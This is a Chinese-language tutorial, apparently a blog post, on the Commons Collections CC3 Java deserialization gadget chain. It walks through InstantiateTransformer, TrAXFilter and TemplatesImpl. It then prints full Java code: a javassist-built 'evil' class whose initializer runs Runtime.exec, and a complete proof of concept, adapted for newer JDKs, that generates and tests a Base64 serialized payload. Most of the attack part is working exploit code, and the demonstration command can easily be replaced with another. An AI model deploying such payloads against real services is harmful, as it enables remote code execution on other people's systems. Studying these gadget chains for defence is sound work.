InstantiateTransformer
它的transform()
方法可以利用反射实例化任意类:
public Object transform(Object input){ //somecode Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); //somecode }
TrAXFilter
这个类在实例化时可以调用到TransformerImpl的newTransformer()
方法.
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); }
CC3中使用了TrAXFilter
来代替InvokerTransformer
进行函数调用。
TemplatesImpl
这个类在FastJson反序列化时也有遇到过,它内部实现了一个自定义类加载器,可用于加载字节码,在调用其newTransformer()
方法时可以调用到getTransletInstance()
方法最终会使用TransletClassLoader
这个类加载器加载_bytecodes
的字节码:
static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null; // The _loadedExternalExtensionFunctions will be empty when the // SecurityManager is not set and the FSP is turned off if (_loadedExternalExtensionFunctions != null) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) { ret = super.loadClass(name); } return ret; } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } }
但在加载字节码之前有一段代码用于判断加载的类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,如果不是则会抛出异常:
之后会加载字节码并实例化,然后执行命令。
使用javassist构造一个继承自AbstractTranslet
的恶意类然后生成TemplatesImpl:
public class TemplatesImpl_Demo { public static void setValue(String name,Object target,Object value){ try{ Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target,value); }catch (Exception ignore){} } public static byte[] createEvil()throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName()); CtClass clazz = pool.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});"; clazz.makeClassInitializer().insertBefore(cmd); clazz.setSuperclass(abstractTranslet); return clazz.toBytecode(); } public static void main(String[] args) throws Exception{ TemplatesImpl tmp = new TemplatesImpl(); setValue("_bytecodes",tmp,new byte[][]{createEvil()}); setValue("_name",tmp,"a"); setValue("_tfactory",tmp,new TransformerFactoryImpl()); tmp.newTransformer(); } }
在构造好TemplatesImpl
后调用newTransformer()
方法可以看到成功弹出计算器:
完整代码
ysoserial中的CC3在高版本JDK下是无法利用的,这里可以按照CC6的方式对CC3这条链进行改造,完整POC如下:
public class cc3 { public static void setValue(String name, Object target, Object value) { try { Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target, value); } catch (Exception ignore) { } } public static byte[] createEvil() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName()); CtClass clazz = pool.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});"; clazz.makeClassInitializer().insertBefore(cmd); clazz.setSuperclass(abstractTranslet); return clazz.toBytecode(); } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue("_bytecodes", templates, new byte[][]{createEvil()}); setValue("_name", templates, "a"); setValue("_tfactory", templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer); TiedMapEntry tme = new TiedMapEntry(new HashMap(),null); HashMap hm = new HashMap(); hm.put(tme,null); setValue("map",tme,lazymap); //payload生成 ByteArrayOutputStream bos = new ByteArrayOutputStream(); new ObjectOutputStream(bos).writeObject(hm); String paylaod = new String( Base64.getEncoder().encode(bos.toByteArray()) ); System.out.println(paylaod); //payload验证 ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream( Base64.getDecoder().decode(paylaod) ) ); ois.readObject(); } }
在高版本JDK下也能使用了。